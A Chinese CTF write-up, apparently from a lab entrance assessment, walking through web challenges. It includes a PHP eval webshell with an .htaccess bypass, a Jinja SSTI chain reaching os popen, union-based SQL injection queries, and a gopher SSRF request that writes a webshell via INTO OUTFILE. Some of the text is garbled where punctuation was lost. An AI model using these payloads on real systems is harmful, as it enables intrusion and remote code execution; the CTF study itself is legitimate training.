实验室见面考核 复现
文件查看器这题需要同时配合远程靶机和题目食用打开题目先试试用常见的flag文件地址./var/www/html/flag尝试一下不能使用英文句号先连接靶机试试在kali中使用sudo service ssh status查看ssh状态使用sudo apt install openssh-server下载ssh或者更新sshssh连接使用ssh -p usernameip输入后会要求输入密码输入时全隐藏输完回车就行现在我们就连接到了靶机先看看靶机ip是多少172.0.1.213尝试在var下创建文件夹bronya并写入文件因为.被过滤所以这里还要上传一次服务器配置文件.htaccessecho FilesMatch sjSetHandler application/x-httpd-php/FilesMatch .htaccess因为这里正则匹配了文件sj这里就能绕过滤echo GIF89a?php eval($_POST[a]); ?? sj接着把公网暴露打开不然其他主机是无法访问文件的python3 -m http.server 8000这里的端口可自行更改尝试远程访问,记得把IP换位十六或者任何一个不带点的形式IP地址转换器_IP地址转二进制、十进制、十六进制工具 - 站长工具网这里记得要在十六进制前加上0x(x不分大小写)确保服务器能正常解析接着因为上面的公网暴露是将当前所在的目录作为根目录所以访问时不需要再指向一次目标http://0xAC0100DA:8000/sj尝试访问只出现gif89a是正常的接着尝试蚁剑连接无法连接那就换种思路文件包含尝试让其直接包含?php system(cmd) ?类型的内容,麻烦点就是了先ls /接着cat没有回显可能是禁用了cat尝试more还是不行可能是限制了回显尝试tee将文件下载下来system(more /flag.php|tee bronya)在访问bronya的情况下依旧不能正常显示怀疑是假flag尝试在var/www/html中寻找只有先前生成的两个文件那flag应该就是flag.php了先看看环境变量将system(‘cmd’)替换为phpinfo()发现flag这个故事告诉我们渗透前一定要先看看环境变量新东西这是一道ssti题目确实是第一次见具体的内容写在SSTI模板注入-CSDN博客先用{{7*7}}测试一下是否存在ssti漏洞成功运算说明是在的接着尝试拿取基类{{().__class__.__base__}}通过子类 元组 得到基类object通过object基类查找所有子类{{().__class__.__base__.__subclasses__()}}在这一堆子类中我们要找到带有执行命令或者阅读文件的子类以下是子类有用的项目列表子类列表有用项os 相关执行命令、读文件subprocess 相关执行命令popen 相关执行命令file / io 相关读文件ctypes 相关执行系统命令显然优先寻找os需要注意的是调用相关子类必须输入其在子类中的序号你。这就需要我们用ctrlf首先检索os这个就是我们需要的记住大概样子使用class继续检索找到同一个子类后查看位置这里我们可以看到序号是133在刚刚列出的子类后定向到133{{().__class__.__base__.__subclasses__()[132]}}因为是从0开始计数的要前挪一位现在我们就进入了这个子类中确保名称和刚才看到的相同初始化对象获取函数方法合集__init__ 类的初始化函数__globals__这个类能访问的全部全局变量{{().__class__.__base__.__subclasses__()[132].__init__.__globals__}}接着直接调用os进行命令执行{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](ls /).read()}}popen Linux 执行系统命令的函数cmd 要执行的命令.read() 把命令结果读出来尝试cat /flag得到flag再附一个万能模板{{.__class__.__base__.__subclasses__()[xxx].__init__.__globals__[__builtins__][eval](__import__(os).popen(cmd).read())}}对ssti认识还是不够深入时间紧任务重之后再找靶场刷网页源码查看器打开题目就是直接查看网页源码的界面先试试能不能查询自己的查不出来估计做了过滤先随便试试看看是什么效果,但百度和实验室环境都预览不了尝试用之前的肉鸡看看能不能访问文件。依旧是在var/bronya内创建文件这里还是选用phpinfo输入到index.php里尝试访问发现只访问不读取试试发马还是不执行而且似乎定向不到服务器这条路被堵死之后继续键盘成精前两个部分可以直接复制后查看{Zero_width_接着找在线工具尝试解码steganography_1s_fUn}结合一下Yunxi{Zero_width_steganography_1s_fUn}Shadow Archive System打开发现是注册类型而下方能根据id查询预计调用了数据库语句尝试再查询处注入应该是要在username或者bio处添加注入语句接着在view处查询,在user处填写测列语句slelect 1,2,3id在1位置三个数字没有超出确定了三列有效回复4报错的确三列第三列作为回显列查询数据库查到库为ctf1 union select 1,2,group_concat (table_name) from database()#表名为flag继续查列名1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameflags #查到列名有叫flag的爆字段1 union select 1,2,group_concat(flag) from ctf.flags#得到flag网站源码查看器先dirsearch扫描一下发现两个文件先访问in可以看到端口3306正在运行sql服务而开放的端口是80接着访问db.php出现一串网站源码先写成html看看是什么效果提示直接输入sql语句在小皮里搭个环境看看提交变量的方式不是什么情况格式为post所以现在的思路就是通过127.0.0.1的post请求发送到db.php中端口80先大概搞出个大体来还是用bp进行基础命令编写gopher://127.0.0.1:80/_POST /db.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 78sqlSELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php使用gopher协议传递sql语句到db.php中使用post方式接着把它放到首次抓包的url变量下要加密两次使用url编码gropher协议一次浏览器解码一次这里看到输出成功了,尝试访问一次虽然过滤掉了但看到还是访问成功了尝试蚁剑连接连接成功到根目录读取flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2440477.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!